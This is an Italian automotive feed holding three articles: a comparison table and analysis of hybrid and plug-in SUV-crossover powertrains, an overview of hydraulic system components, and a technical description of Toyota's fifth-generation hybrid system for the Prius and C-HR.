<p class="wp-block-paragraph">La bontà della tecnologia Toyota, ma di quarta generazione, viene adottata anche da Ford per la sua Kuga. In questo caso il motore endotermico è un 2.5 litri a ciclo Atkinson con un motore elettrico bilanciato per avere un funzionamento maggiormente orientato verso il funzionamento seriale.</p>



<h2 class="wp-block-heading"><strong>Tabella riassuntiva di tutte le vetture prese in esame per l&#8217;analisi </strong></h2>



<p class="wp-block-paragraph">La tabella sottostante mette in relazione tutte le tipologie di sistema relative alle SUV-Crossover di taglia media con potenza da 170cv a 230cv. Lo scopo, dopo aver esplicato il funzionamento, e le scelte fatte da ogni singolo costruttore, è quello di mettere a confronto in modo definitivo le auto in esame. L’obiettivo non è quello di fornire un opinione certa o decretare un singolo vincitore, ma piuttosto offrire una sorta di guida per la scelta maggiormente consapevole per l&#8217;automobilista incerto. Questo, dopo aver incrociato i dati, secondo le sue esigenze, può andare in concessionaria a provare l’auto in modo approfondito, accompagnato, preferibilmente, da tecnici esperti per capire se la tecnologia scelta sulla carta sia anche idonea al proprio stile di guida.</p>



<h2 class="wp-block-heading"><strong>Tabella riassuntiva caratteristiche di tutti i modelli che adottano i vari sistemi, seriale, parallelo e misto</strong></h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>Modello</td><td>ICE/CV</td><td>P.E</td><td>P.Sist</td><td>C.Sist</td><td>Acc</td><td>V.Max</td><td>Cons.</td></tr><tr><td>Cupra Formentor PHEV-52</td><td>150cv</td><td>116cv</td><td>204cv</td><td>350Nm</td><td>7,5s</td><td>205</td><td>4,95</td></tr><tr><td>Ford Kuga 2.5 HEV</td><td>152Cv</td><td>125Cv</td><td>190cv</td><td>250Nm</td><td>9,1s</td><td>195</td><td>4,8</td></tr><tr><td>Honda ZR-V e-HEV</td><td>145cv</td><td>184cv</td><td>184Cv</td><td>315Nm</td><td>7,9s</td><td>175</td><td>4,4</td></tr><tr><td>Hyundai Tucson HEV</td><td>160cv</td><td>65cv</td><td>215cv</td><td>385Nm</td><td>8,2s</td><td>185</td><td>5,45</td></tr><tr><td>Jeep Compass 4xe – P4 PHEV-4</td><td>130Cv</td><td>61CV</td><td>190Cv</td><td><strong>470Nm</strong></td><td>7,9s</td><td>185</td><td>5,15</td></tr><tr><td>Kia Sportage HEV</td><td><strong>180cv</strong></td><td>60cv</td><td><strong>230Cv</strong></td><td>350Nm</td><td>8,3s</td><td>185</td><td>5,25</td></tr><tr><td>Mazda MX-30 R-EV PHEV-75</td><td>75cv</td><td>170cv</td><td>170cv</td><td>260Nm</td><td>9,1s</td><td>145</td><td>5,65</td></tr><tr><td>Mercedes GLA PHEV-60</td><td>160Cv</td><td>102cv</td><td>218Cv</td><td>450Nm</td><td>7,1s</td><td>220</td><td>5,1</td></tr><tr><td>Mini Countryman SE PHEV-51 P4</td><td>136Cv</td><td>88Cv</td><td>224Cv</td><td>385Nm</td><td><strong>6,8s</strong></td><td>195</td><td>5,25</td></tr><tr><td>Mitsu. Eclipse Cross PHEV-50</td><td>83cv</td><td>90cv</td><td>190Cv</td><td>280Nm &nbsp;</td><td>10,9s</td><td>165</td><td>4,9</td></tr><tr><td>Nissan Qashqai ePower HEV</td><td>158CV</td><td><strong>190Cv</strong></td><td>190Cv</td><td>330Nm</td><td>7,9s</td><td>180</td><td>4,75</td></tr><tr><td>Opel Grandland 225cv PHEV -55</td><td><strong>180cv</strong></td><td>110cv</td><td>224Cv</td><td>360Nm</td><td>7,9s</td><td><strong>225</strong></td><td>4,5</td></tr><tr><td>Peugeot 3008 180cv PHEV-</td><td>150Cv</td><td>110Cv</td><td>180Cv</td><td>360Nm</td><td>8,8s</td><td>215</td><td><strong>4,1</strong></td></tr><tr><td>Renault Austral e-Tech HEV</td><td>131Cv</td><td>68Cv</td><td>205Nm</td><td>300Nm</td><td>8,4s</td><td>175</td><td>4,8</td></tr><tr><td>Toyota Corolla Cross HEV</td><td>152Cv</td><td>113Cv</td><td>197Cv</td><td>286Nm</td><td>7,4s</td><td>180</td><td>4,65</td></tr></tbody></table><figcaption class="wp-element-caption"><em>ICE &#8211; Indica Motore endotermico &#8211; Il valore del consumo è rilevato dal percorso Roma-Forlì effettuato dai colleghi della rivista Motor1 </em></figcaption></figure>



<p class="wp-block-paragraph">Prima di analizzare approfonditamente i dati dobbiamo precisare che la scelta per i consumi del test Roma-Forlì, eseguito dai colleghi di Motor1, è stato effettuata per la sua composizione che prevede un percorso cittadino, extraurbano, autostradale, passando per l’appennino fatto di salite e discese, uguale per tutti con lo stesso conducente.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="582" src="https://www.giornalemotori.com/wp-content/uploads//2024/09/Hybrid-system-comparison-1024x582-1.png" alt="Hybrid system comparison 1024x582 1" class="wp-image-140369" title="Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 194" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/09/Hybrid-system-comparison-1024x582-1.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hybrid-system-comparison-1024x582-1-768x437.png 768w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hybrid-system-comparison-1024x582-1-300x171.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/09/Hybrid-system-comparison-1024x582-1-696x396.png 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi tecnica dei sistemi full hybrid e Plug in per SUV-Crossover da 170cv a 230cv 199</figcaption></figure>



<h2 class="wp-block-heading"><strong>Esame dei dati ed interpretazione </strong></h2>



<p class="wp-block-paragraph">L’esame della tabella, mostra come il gruppo Stellantis con il suo sistema full hybrid plug in ha ottimi numeri, soprattutto per la parte endotermica. Il motore benzina offre i valori di potenza e coppia maggiori coppia consentendo un migliore allungo confermato dalla velocità massima più alta in assoluto, per il piacere degli amanti del vecchio casello-casello.</p>



<p class="wp-block-paragraph">La stessa unità motrice, nella sua versione meno potente da 180cv, invece, tende ad usare le due motorizzazioni sovrapponendo i due liveli di coppia in modo costante ottenendo il migliore risultato in termini di consumo anche rispetto ai seriali e misti migliori. Il sistema infatti può limitare ad un minimo il consumo di batteria conservando un livello sufficiente per viaggiare in modalità full hybrid in modo abbastanza efficace come dimostra il risultato per il Roma-Forlì. Usato con un massiccio uso della carica esterna, migliora di netto la sua efficienza. </p>



<p class="wp-block-paragraph">La motorizzazione elettrica invece è appannaggio dei sistemi seriali. In particolare è il sistema e-Power di Nissan ad ottenere il valore più alto sia per cavalli che Newtometri. Le prestazioni, pure, invece sono appannaggio del sistema ibrido parallelo più semplice con schema a motore elettrico separato sull’asse posteriore. L’azione congiunta delle due unità garantisce la migliore trazione con prestazioni migliori in accelerazione e ripresa, a scapito dei consumi e dell&#8217;efficienza energetica. </p>



<p class="wp-block-paragraph"></p>
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		<title>Capire l&#8217;oleodinamica: una panoramica dei suoi componenti chiave</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Wed, 28 Feb 2024 01:05:00 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>L&#8217;oleodinamica è una tecnologia fondamentale nell&#8217;ingegneria moderna, che utilizza liquidi sotto pressione per trasmettere potenza. Questa guida generata da esperti del settore offre una panoramica dei componenti chiave dell&#8217;oleodinamica. Pompe oleodinamiche Le pompe oleodinamiche sono elementi fondamentali in qualsiasi sistema oleodinamico, agendo come il motore che inizia il processo di trasmissione di potenza. Queste pompe [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph"> <p class="MsoNormal"><span lang="EN">L&#8217;<b>oleodinamica</b> è una tecnologia fondamentale nell&#8217;<b>ingegneria moderna</b>, che utilizza liquidi sotto pressione per trasmettere potenza. Questa guida generata da esperti del settore offre una panoramica dei componenti chiave dell&#8217;oleodinamica. </span><span style="color: initial;"> </span></p><h2><a name="_e6mi3q3rvsoh"></a><span lang="EN">Pompe oleodinamiche</span> </h2><p class="MsoNormal"><span lang="EN">Le<b> pompe oleodinamiche</b> sono elementi fondamentali in qualsiasi<b> sistema oleodinamico</b>, agendo come il motore che inizia il processo di trasmissione di potenza. Queste pompe sono progettate per convertire l&#8217;<b>energia meccanica</b>, spesso derivata da un motore elettrico o da un motore a combustione interna, in <b>energia fluidica</b>. Il loro ruolo principale è quello di aspirare il fluido oleodinamico dal serbatoio e di inviarlo nel sistema sotto pressione, consentendo il movimento dei vari attuatori come <b>cilindri</b> e<b> motori oleodinamici</b>.</span><span style="color: initial;"> </span><span lang="EN">Esistono diversi tipi di pompe oleodinamiche, ciascuna con caratteristiche specifiche che le rendono adatte a diverse applicazioni. Quelle<b> </b>a<b> ingranaggi</b>, per esempio, sono semplici e robuste, ideali per applicazioni a bassa e media pressione. Le <b>pompe a pistoni</b>, sia assiali che radiali, offrono un maggiore controllo sulla portata e possono operare a pressioni più elevate, rendendole adatte per applicazioni più esigenti. Le<b> pompe a palette</b>, note per la loro efficienza e silenziosità, sono un&#8217;altra scelta popolare, specialmente in ambienti industriali dove il rumore è una considerazione critica.</span><span style="color: initial;"> </span><span lang="EN">La scelta della pompa giusta dipende da vari fattori, tra cui la pressione richiesta, la portata del fluido, la viscosità del fluido oleodinamico e le condizioni ambientali.</span><span style="color: initial;"> </span></p><h2><a name="_nz8poerh989s"></a><span lang="EN">Valvole di controllo</span> </h2><p class="MsoNormal"><span lang="EN">Le<b> valvole di controllo</b> sono progettate per gestire vari aspetti del <b>flusso oleodinamico,</b> come la direzione, la pressione e la portata, consentendo così di adattare il sistema a diverse esigenze operative.</span><span style="color: initial;"> </span><span lang="EN">Tra i tipi principali di valvole di controllo ci sono quelle direzionali, quelle di pressione<b> </b>e infine quelle di flusso. Le <b>valvole direzionali</b> sono utilizzate per dirigere il fluido lungo percorsi specifici nel circuito, permettendo l&#8217;attivazione o la disattivazione di determinate parti del sistema. Le <b>valvole di pressione</b>, come quelle di <b>sovrappressione</b>, sono essenziali per la sicurezza del sistema, poiché limitano la pressione massima per prevenire danni dovuti a eccessive pressioni. Infine le <b>valvole di flusso</b>, invece, controllano la velocità dei componenti oleodinamici regolando la quantità di fluido che li attraversa.</span><span style="color: initial;"> </span><span lang="EN">Le valvole, dunque, assicurano un controllo accurato e affidabile in un&#8217;ampia gamma di applicazioni industriali e mobili.</span><span style="color: initial;"> </span></p><h2><a name="_zaw9c95bnsae"></a><span lang="EN">Cilindri oleodinamici</span> </h2><p class="MsoNormal"><span lang="EN">I <b>cilindri oleodinamici </b>funzionano come <b>attuatori </b>che convertono l&#8217;<b>energia del fluido sotto pressione</b> in <b>movimento lineare</b>. Questi dispositivi sono costituiti da un cilindro all&#8217;interno del quale scorre un pistone. Il movimento del pistone è controllato dalla pressione del fluido che viene alternativamente introdotto o rilasciato nelle camere del cilindro.</span><span style="color: initial;"> </span><span lang="EN">Ci sono vari tipi di cilindri oleodinamici, tra cui<b> cilindri a semplice effetto</b>, dove il fluido agisce su un solo lato del pistone, e<b> cilindri a doppio effetto</b>, in cui il fluido può essere applicato su entrambi i lati del pistone per movimenti bidirezionali. In generale, i cilindri possono variare notevolmente in termini di dimensioni, forza di spinta, velocità di movimento e corsa del pistone, in base alle esigenze specifiche dell&#8217;applicazione.</span><span style="color: initial;"> </span><span lang="EN">Il loro impiego è diffuso in molti settori, dall&#8217;<b>industria manifatturiera </b>all&#8217;<b>edilizia</b>, dall&#8217;<b>agricoltura</b> alla <b>robotica</b>. I cilindri sono apprezzati per la loro forza e precisione, consentendo movimenti controllati anche sotto carichi pesanti. La loro progettazione deve tener conto di fattori come la resistenza ai carichi, le condizioni ambientali, e la compatibilità con il fluido oleodinamico, per garantire un funzionamento affidabile e duraturo.</span><span style="color: initial;"> </span></p><h2><a name="_sk8qvcoy0k9e"></a><span lang="EN">Accumulatori</span> </h2><p class="MsoNormal"><span lang="EN">Gli <b>accumulatori</b> sono utilizzati per <b>immagazzinare energia</b> sotto forma di fluido compresso. Questi dispositivi sono progettati per assorbire e rilasciare energia fluidica, offrendo diversi benefici come il miglioramento dell&#8217;efficienza del sistema, il bilanciamento dei carichi, la compensazione delle perdite di pressione e la fornitura di energia extra durante i picchi di domanda.</span><span style="color: initial;"> </span><span lang="EN">Ci sono vari tipi di accumulatori, tra cui quelli a <b>membrana</b>, a <b>pistone</b> e a <b>sacca</b>. Gli accumulatori a membrana e a sacca contengono una camera separata da una membrana elastica o da una sacca, che divide il fluido oleodinamico dall&#8217;azoto compresso. Gli accumulatori a pistone, invece, utilizzano un pistone fisso per separare il fluido dall&#8217;azoto. In tutti i casi, il gas compresso (tipicamente azoto) funge da molla, immagazzinando energia quando il sistema è sotto carico e rilasciandola quando necessario.</span><span style="color: initial;"> </span><span lang="EN">Gli accumulatori sono particolarmente utili in situazioni in cui è necessario compensare le fluttuazioni di pressione, come all&#8217;avviamento e nell&#8217;arresto di macchine.</span><span style="color: initial;"> </span></p><h2><a name="_vr6gk66en43j"></a><span lang="EN">Filtrazione e manutenzione</span> </h2><p class="MsoNormal"><span lang="EN">La<b> filtrazione</b> e la<b> manutenzione </b>sono aspetti critici per la longevità e l&#8217;efficienza di un sistema oleodinamico. La <b>pulizia </b>del <b>fluido oleodinamico</b> è essenziale per <b>prevenire l&#8217;usura</b> e i guasti dei componenti, dato che le impurità nel fluido possono causare danni significativi. I<b> filtri oleodinamici</b> sono progettati per rimuovere particelle solide, acqua e altre contaminazioni dal fluido, assicurando che rimanga<b> pulito</b> e <b>funzionale</b>. Esistono diversi tipi di filtri, come quelli di <b>aspirazione</b>, <b>di pressione</b>, <b>di ritorno</b> e<b> offline</b>, ciascuno posizionato in punti strategici del circuito per massimizzare l&#8217;efficacia della filtrazione.</span><span style="color: initial;"> </span><span lang="EN">Oltre alla filtrazione, una <b>manutenzione regolare</b> è fondamentale per prevenire guasti e per garantire il funzionamento ottimale del sistema. La manutenzione include la <b>verifica dello stato dei componenti</b>, il <b>controllo dei livelli </b>e delle<b> condizioni del fluido</b>, la sostituzione dei filtri e delle guarnizioni, e l&#8217;ispezione per eventuali perdite o danni. È importante seguire un programma di manutenzione preventiva, basato sulle raccomandazioni del produttore e sulle condizioni specifiche di utilizzo. Per tale motivo quando decidi di acquistare un prodotto oleodinamico bisogna affidarsi a fornitori che includono nella loro offerta la possibilità di formare i tuoi lavoratori a prevenire i danni minori attraverso la giusta manutenzione, come per esempio fa <a href="http://tfsoleodinamica.it/" target="_blank" rel="noopener"><span style="color:#1155CC">tfsoleodinamica.it</span></a> quando compri un componente da loro. </span><span style="color: initial;"> </span><span lang="EN">Ricorda, infatti, che una manutenzione adeguata e una filtrazione efficace non solo prolungano la vita del sistema oleodinamico, ma migliorano anche la sicurezza e l&#8217;efficienza, riducendo i tempi di inattività e i costi di riparazione. </span></p> </p>
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		<title>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 02 Feb 2024 09:29:20 +0000</pubDate>
				<category><![CDATA[Ultimi articoli]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Sulla paternità dei moderni sistemi ibridi c’è un acceso dibattito, soprattutto tra i più importanti costruttori giapponesi su chi abbia introdotto per primo la tecnologia ibrida sulla produzione di massa automobilistica. Indipendentemente da questo aspetto è innegabile che il costruttore che più di tutti creduto in questa tecnologia sia stato Toyota con la Prius. Una [&#8230;]</p>
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<p class="wp-block-paragraph">Sulla paternità dei moderni sistemi ibridi c’è un acceso dibattito, soprattutto tra i più importanti costruttori giapponesi su chi abbia introdotto per primo la tecnologia ibrida sulla produzione di massa automobilistica. Indipendentemente da questo aspetto è innegabile che il costruttore che più di tutti creduto in questa tecnologia sia stato Toyota con la Prius.</p>



<p class="wp-block-paragraph">Una vettura nata figlia dell’efficienza, con un design che sacrificava l&#8217;estetica sull&#8217;altare dell’aerodinamica fino alla quarta generazione. La nuova piattaforma TNGA, infatti, si evolve andando ponendo l&#8217;accento sullo stile, prestazioni e dinamica ponendosi l&#8217;ambizione di regalare emozioni attraverso l&#8217;evoluzione della tecnologia ibrida HSD; Hybrid Synergy Drive. Un cambio di filosofia tecnica che soddisfa le esigenze degli automobilisti europei senza rinnegare il proprio credo tecnologico. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="617" src="https://www.giornalemotori.com/wp-content/uploads//2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b-1024x617.jpg" alt="9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b" class="wp-image-134856" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 200" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b-1024x617.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b-768x463.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b-300x181.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b-696x419.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/01/9dd5fbeeca0f7029aeaeeee80600b1c9005eed3b.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 206</figcaption></figure>



<h2 class="wp-block-heading" id="h-full-hybrid-e-plug-in-con-diversi-livelli-di-potenza"><strong>Full Hybrid e Plug In con diversi livelli di potenza </strong></h2>



<p class="wp-block-paragraph">La nuova Toyota Prius e CR-R, adottano due schemi di funzionamento misto serie/parallelo; il classico Full Hybrid da 197cv per la 2WD e 199cv per la i-AWD con doppio motore elettrico sull&#8217;asse posteriore, ed un evoluto sistema PHEV o Plug-In con potenza di 223cv e batteria da 13,6KwH. </p>



<p class="wp-block-paragraph">L’unita ICE, ovvero il motore benzina, è lo stesso per entrambe le versioni. Il nuovo Dynamic Force Engine adotta tecnologie di combustione ad alta velocità limitando il funzionamento a ciclo Atkinson/Miller. Un propulsore che garantisce una maggiore efficienza termica, con conseguente rendimento elevato grazie alla riduzione della perdite. Viene riprogettato il collettore di scarico e viene adottato un circuito di raffreddamento a portata variabile. Inoltre vengono ridisegnati gli organi meccanici di movimento per raggiungere un valore di efficienza del 41%.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="900" height="874" src="https://www.giornalemotori.com/wp-content/uploads//2024/01/04_01.jpg" alt="04 01" class="wp-image-134852" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 201" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/01/04_01.jpg 900w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_01-768x746.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_01-300x291.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_01-696x676.jpg 696w" sizes="(max-width: 900px) 100vw, 900px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 207</figcaption></figure>



<h2 class="wp-block-heading" id="h-nuovo-2-0-litri-m20a-fxs-da-152cv"><strong>Nuovo 2.0 litri M20A-FXS da 152cv</strong></h2>



<p class="wp-block-paragraph">Il motore M20A-FXS è un quattro cilindri con cilindrata di 1983Cm3 ottenuta con un alesaggio di 80.5 per una corsa di 97.6 con un design di tipo sotto-quadro, cioè a corsa lunga per un rapporto corsa/alesaggio pari a 1,2. Rispetto al passato cambia la gestione della fase di espansione aumentando con un rapporto di compressione che varia da 13:1 a 14:1. Rispetto al classico ciclo Atkinson la nuova logica di apertura della valvola di aspirazione implementa l&#8217;effetto Tumble per avere una maggiore densità dell&#8217;aria aspirata cambiando velocità di combustione della miscela aria benzina. Nella fase di compressione, la valvola resta aperta per un tempo più limitato. In questo modo viene limitata la variante di cilindrata tipica dell&#8217;Atkinson, per aumentate il rapporto di compressione e di conseguenza più potenza con una curva di coppia più corposa e lineare su tutto l&#8217;arco di giri. </p>



<p class="wp-block-paragraph"> Il sistema di fasatura delle valvole VVT-i sia all&#8217;aspirazione che allo scarico con camme a profilo concavo ed una biella dal disegno più compatto riducendo l&#8217;inerzia e aumentando la capacità di risposta. Le valvole aumentano l&#8217;angolo tra l&#8217;aspirazione e lo scarico per migliorare la fase di aspirazione per consentire alla miscela di essere compressa maggiormente intorno alla candela di accensione. La sede della valvola di aspirazione è rivestita al laser per sopportare il maggiore stress dovuto all&#8217;aumento del rapporto di compressione. L&#8217;accensione adotta una bobina ad alta energia con sistema di iniezione  D-4S con un nuovo iniettore diretto multi-foro. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="900" height="484" src="https://www.giornalemotori.com/wp-content/uploads//2024/01/04_02_en.jpg" alt="04 02 en" class="wp-image-134859" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 202" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/01/04_02_en.jpg 900w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_02_en-768x413.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_02_en-300x161.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/01/04_02_en-696x374.jpg 696w" sizes="(max-width: 900px) 100vw, 900px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 208</figcaption></figure>



<p class="wp-block-paragraph">Il sistema di raffreddamento migliorato nella sua efficienza mentre viene utilizzata una pompa dell&#8217;olio a portata variabile adottando olio motore a bassa viscosità. La centralina di controllo dell&#8217;iniezione carburante gestisce anche il funzionamento della valvola EGR, ed il controllo della pompa dell&#8217;olio.  L&#8217;asse del cilindro è sfalsato rispetto a quello dell&#8217;albero motore per consentire al pistone di raggiungere il punto morto superiore con minore sforzo ed un accelerazione istantanea più alta per una migliore risposta e più efficienza nella gestione delle perdite meccaniche. Il risultato è un incremento di potenza rispetto alla passata motorizzazione di 100cv portandosi a 152 CV a 6000 giri/min, e 188Nm di coppia disponibile da 4400 a 5200giri/min, per un valore di potenza specifica di 76.5cv/litro. </p>



<p class="wp-block-paragraph">La differenza sostanziale tra gli schemi meccanici HEV, HEV con i-AWD e PHEV sta nella disponibilità della propulsione elettrica. Tutte hanno un motore elettrico 1VM, migliorato aggiungendo due magneti permanenti, e modificando le piastre esterne al rotore. Il risultato è una maggiore potenza ma soprattutto una maggiore compattezza e risposta più rapida alle sollecitazioni del pedale del gas. </p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="youtube-embed" data-video_id="X__JTmVJ9ug"><iframe loading="lazy" title="2.0-liter Dynamic Force Engine, a New 2.0-liter Direct-injection, Inline 4-cylinder Gasoline Engine" width="696" height="392" src="https://www.youtube.com/embed/X__JTmVJ9ug?start=102&#038;feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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<h2 class="wp-block-heading" id="h-nuovo-motore-elettrico-sincrono-con-peso-ridotto-e-diversi-livelli-di-potenza"><strong>Nuovo motore elettrico sincrono con peso ridotto e diversi livelli di potenza </strong></h2>



<p class="wp-block-paragraph">Il motore elettrico, unito alla trasmissione, eroga diversi livelli di potenza diversi. Le varianti full hybrid HEV utilizzano una macchine elettrica sincrona da 113cv e 206Nm di coppia per una potenza di sistema di 197cv. Per la versione con i-AWD viene aggiunto un motore posteriore sempre sincrono 1VM da 41cv e 84Nm di coppia per una potenza di sistema migliorata di 199cv, mentre la Prius PHEV la stessa unità di potenza che eroga 163 CV e 208Nm di coppia per una potenza totale del sistema di 223 CV con batteria da 13,6kwH. </p>



<p class="wp-block-paragraph">Oggi, la propulsione ibrida Toyota, soprattutto nella sua configurazione plug-in offre doti di potenza e divertimento al volante, coadiuvato da una meccanica appositamente concepita come la piattaforma tecnica TNGA che rende le ultime nate di casa Toyota anche più divertente da guidare offrendo allo stesso tempo una migliore efficienza in termini di risparmio di carburante ed emissioni. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="600" height="600" src="https://www.giornalemotori.com/wp-content/uploads//2024/01/Bezymyannyj-kollazh-3-1.jpg" alt="Bezymyannyj kollazh 3 1" class="wp-image-134854" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 203" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/01/Bezymyannyj-kollazh-3-1.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2024/01/Bezymyannyj-kollazh-3-1-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/01/Bezymyannyj-kollazh-3-1-300x300.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 209</figcaption></figure>



<h2 class="wp-block-heading" id="h-piu-rapida-ed-efficiente-la-trasmissione"><strong>Più rapida ed efficiente la trasmissione </strong></h2>



<p class="wp-block-paragraph">Le dimensioni e il peso totali del sistema sono stati ridotti sia della parte endotermica che di quella elettrica oltre che la trasmissione. La rimozione della frizione unidirezionale tra i due motori elettrici, quello di potenza MG1 ed il generatore MG2, è stata resa possibile proprio la presenza del nuovo motore elettrico di potenza che grazie alle ridotte perdite offre eccellenti prestazioni di accelerazione, minori consumi di carburante configurandosi per un ulteriore evoluzione in futuro.</p>



<p class="wp-block-paragraph">Il sistema utilizza una nuova unità di controllo della potenza (PCU), che include un convertitore CC-CC integrato con una gestione della potenza più elevata, utile per convertire la tensione più velocemente funzionando ad una frequenza modificata apposta per ridurre l’effetto scooter in abitacolo. L&#8217;unità, montata direttamente sopra la trasmissione, fornisce il 120% della potenza rispetto alla versione precedente potendo gestire il 60% di potenza con un peso ridotto del 20% grazie all’ottimizzazione degli organi di trasmissione. La lubrificazione è passata da carter secco riducendo i livelli del fluido della trasmissione dinamica adottando un olio a bassa viscosità per ridurre l’attrito interno migliorando l’efficienza della trasmissione.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="youtube-embed" data-video_id="VGfxTRYI1YQ"><iframe loading="lazy" title="2.0-liter Toyota Hybrid System (THS II)" width="696" height="392" src="https://www.youtube.com/embed/VGfxTRYI1YQ?start=1&#038;feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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<h2 class="wp-block-heading" id="h-batteria-con-maggiore-densita-e-peso-contenuto"><strong>Batteria con maggiore densità e peso contenuto </strong></h2>



<p class="wp-block-paragraph">La batteria ad ioni di litio ha una densità maggiore del 50% adottando il 30% di celle in meno contenendo il peso rimanendo simile alla passata generazione. L&#8217;uso di una batteria di maggiore capacità consente inoltre l&#8217;introduzione del Regeneration Boost per una decelerazione più forte con un maggiore recupero di energia. Il conducente può selezionare una delle tre diverse modalità di rigenerazione: dolce, media e forte, con una decelerazione fino a circa l&#8217;80% ottenuta senza la necessità di applicare il pedale del freno sfruttando la guida one-pedal. La ricarica può avvenire con un caricatore AC da 3,3 kW dalla rete elettrica standard da 220 V da zero a piena in sole quattro ore.</p>



<p class="wp-block-paragraph">Il miglioramento della configurazione ibrido plug-in ha consentito di ottenere prestazioni in grado di accelerare per lo 0 a 100 km/h in 6,8 secondi con un consumi dichiarato secondo il ciclo di omologazione WLTP di 0,5 l/100 km e il livello di emissioni di CO2 combinate è estremamente basso di 11 g/km.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/02/Toyota-C-HR-2024-1024-4f.jpg" alt="Toyota C HR 2024 1024 4f" class="wp-image-134886" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 204" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/02/Toyota-C-HR-2024-1024-4f.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/02/Toyota-C-HR-2024-1024-4f-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/02/Toyota-C-HR-2024-1024-4f-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/02/Toyota-C-HR-2024-1024-4f-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/02/Toyota-C-HR-2024-1024-4f-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 210</figcaption></figure>



<h2 class="wp-block-heading" id="h-in-collaborazione-con-toyota-t-motor-san-lazzaro-di-savena-bo-modena-e-imola"><strong>In collaborazione con Toyota T-Motor San Lazzaro di Savena (BO), Modena e Imola </strong></h2>



